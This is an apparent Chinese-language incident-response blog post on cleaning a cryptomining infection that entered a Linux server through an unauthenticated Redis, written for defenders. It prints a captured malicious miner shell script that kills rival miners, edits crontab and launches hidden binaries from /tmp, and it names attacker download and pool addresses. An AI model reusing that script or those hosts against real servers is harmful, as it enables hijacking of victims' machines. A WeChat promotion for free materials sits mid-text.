記一次挖礦病毒的溯源

ps:因爲項目保密的原因部分的截圖是自己在本地的環境復現。

1. 起因

客戶打電話過來說,公司web服務異常卡頓。起初以爲是web服務緩存過多導致,重啓幾次無果後覺得可能是受到了攻擊。起初以爲是ddos攻擊,然後去查看web服務器管理面板時發現網絡鏈接很少,但是cpu佔用高達99%,於是便懷疑是中了挖礦病毒。

2.排查可疑進程

首先發現cpu佔用率過高,初步懷疑是挖礦病毒。於是上ssh開始排查

使用top命令查看進程佔用列表。發現並沒有佔用過高的程序,但是查詢cpu佔用率確實是99%。懷疑是隱藏了linux進程。

以爲是做了進程隱藏,於是寫了個python腳本遍歷/proc目錄。/proc目錄是一個虛擬文件系統,用於提供有關係統內核和運行進程的信息。該目錄中包含一系列以數字命名的子目錄,每個子目錄代表一個正在運行的進程。在這些子目錄中,可以訪問有關進程狀態、內存使用情況、打開的文件列表等信息。

該腳本遍歷proc目錄,查詢ps aux不顯示的進程id,然後顯示打印出來。

import os
​
def get_max_pid():
   pid_list = [int(pid) for pid in os.listdir('/proc') if
pid.isdigit()]
   return str(max(pid_list))
​
def get_existing_process_ids(max_pid):
   process_ids = []
   for pid in range(1, int(max_pid) + 1):
       if os.path.exists('/proc/' + str(pid)):
           process_ids.append(str(pid))
   return process_ids
​
def get_ps_aux_process_ids():
   process_ids = []
   output = os.popen('ps aux').read()
   lines = output.split('n')
   for line in lines[1:]:
       if line.strip() != '':
           pid = line.split()[1]
           process_ids.append(pid)
   return process_ids
​
max_pid = get_max_pid()
existing_process_ids = get_existing_process_ids(max_pid)
ps_aux_process_ids = get_ps_aux_process_ids()
​
for pid in existing_process_ids:
   if pid not in ps_aux_process_ids:
       print('Hidden PID {}'.format(pid))

emmmm, 但是效果不是很理想,有一大部分進程都是殭屍進程。

然後一個一個排查後效果不佳,並無發現什麼可疑進程。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

3 排查網絡鏈接

於是打算從網絡鏈接中入手,使用netstat-antp進行排查。發現有進程在鏈接47.130.146.28這個ip地址,然後拿這個ip地址反查域名。

發現是綁定的log.softgoldinformation.com這個域名。

然後搜索這個域名,發現之前也有人排查過了。

然後發現其實還有其他ip這裏就不一一截圖了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在鏈接。(服務器基本上已經中了n種病毒了。基本上與各種礦池都有鏈接。)

然後協商客戶運維,設置只允許服務器訪問國內ip地址,這一步主要是爲了能通暢的鏈接ssh。因爲挖礦病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖礦進程鏈接不了礦池的情況下通常都不會產生cpu佔用。果然禁止服務器出網後,cpu佔用率就下來了。(也是爲了防止服務器繼續鏈接挖礦者的c2)

4 尋找漏洞

問過客戶服務器有裝什麼軟件,然後說是爲了方便做web數據庫的緩存,半個月之前裝了redis。

使用ps aux|grep redis查看redis端口。

嘗試空密碼鏈接成功。基本確定入口點是redis。

5 補救措施

發現基本已經在跑着幾個挖礦的病毒了。這裏不確定能不能把後門排查完,只能和客戶溝通說先排查一遍看看。(因爲挖礦木馬一般都會有後門,在清理挖礦程序後,後門會自動檢查挖礦程序是否運行,如果不運行的話會重新下載一個挖礦程序然後再次運行。所以在完全清除挖礦程序後一段時間內,cpu佔用率不飆升就可以說明清理成功。反之則說明挖礦病毒並未清理成功。)

首先查看一下定時任務。 發現並無異常。

cat /etc/crontab

然後查看tmp目錄,發現有sh文件,這裏抽取一個sh來分析,基本上/tmp出現這種都可以確定服務器被挖礦了。同理的還有/var/tmp目錄。

ls -la /tmp

隨便打開一個配置文件就能發現,攻擊者的礦池地址和錢包地址。這種情況基本把tmp目錄全部清除即可。

下面是一個solr的挖礦病毒腳本,這裏只是kill掉了挖礦同行的進程和定時任務。

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
   killall /tmp/*
   killall /var/tmp/*
  crontab -l | sed '/195.3.146.118/d' | crontab -
  crontab -l | sed '/cf.sh/d' | crontab -
  crontab -l | sed '/xms/d' | crontab -
  crontab -l | sed '/kwork.sh/d' | crontab -
  crontab -l | sed '/cyberium/d' | crontab -
  crontab -l | sed '/newdat/d' | crontab -
   rm -f /tmp/*
   ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' |
xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' |
xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'wget' | awk '{print $2}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'curl' | awk '{print $2}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'urlopen' | awk '{print $2}' | xargs -I % kill -9 %
  pgrep JavaUpdate | xargs -I % kill -9 %
  pgrep kinsing | xargs -I % kill -9 %
  pgrep donate | xargs -I % kill -9 %
  pgrep kdevtmpfsi | xargs -I % kill -9 %
  pgrep trace | xargs -I % kill -9 %
  pgrep sysupdate | xargs -I % kill -9 %
  pgrep mysqlserver | xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'trace' | awk '{print $2}' |
xargs -I % kill -9 %
  pkill xmrig
  pkill sysupdate
  pkill sysguard
  pkill kthreaddk
  pkill networkservice
  pkill kdevtmpfsi
  pkill watchbog
   p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')
   name=""$p
   if [ -z "$name" ]
   then
      pkill solrd
       ps aux | grep -v grep | grep -v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
| awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %
      nohup /tmp/.solr/solrd &>>/dev/null &
       sleep 30
      nohup /tmp/.solr/genshin &>>/dev/null &
       sleep 30
   else
        :
   fi
done
•

查看/etc/passwd 是否有惡意用戶

cat /etc/passwd

查看ssh是否有後門用戶 (因爲是redis的洞 很有可能會寫入sshkey)

ls -la /root/.ssh/

然後用clamscan掃描一遍

clamscan -r /

設置redis密碼登錄。(這一步是由客戶人員配置)

然後刪除tmp目錄下的腳本文件

rm -rf /tmp/*.sh

6 腳本分析

這裏抽取其中的一個sh腳本講一下挖礦病毒邏輯,因爲腳本較大,所以這裏是抽取部分代碼過一遍邏輯,實際上常見的挖礦病毒腳本基本都差不多是一個邏輯,所以這裏抽取了一個。

首先腳本的邏輯是從kill掉其他挖礦同行進程開始

然後寫了一個定時任務

然後判斷目標系統位數,到[http://94.103.87.71/]{.underline}去下載病毒程序

這也就是最終的病毒文件

 

 

 

果不其然

最後是自動清理本身

總結

這次事故主要是因爲開發人員不懂安全,直接開放redis數據庫在公網並且不設置登錄密碼。雖然是內網服務器但是萬幸做好了隔離。不然挖礦病毒肯定會在內網進行傳播。

ps:聽說客戶之後去問了開發小哥,開發小哥說隨便在網上找的教程,教程上是這樣配置的就直接複製粘貼上去。所以建議大家在配置東西的時候儘量去查一下文檔。

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章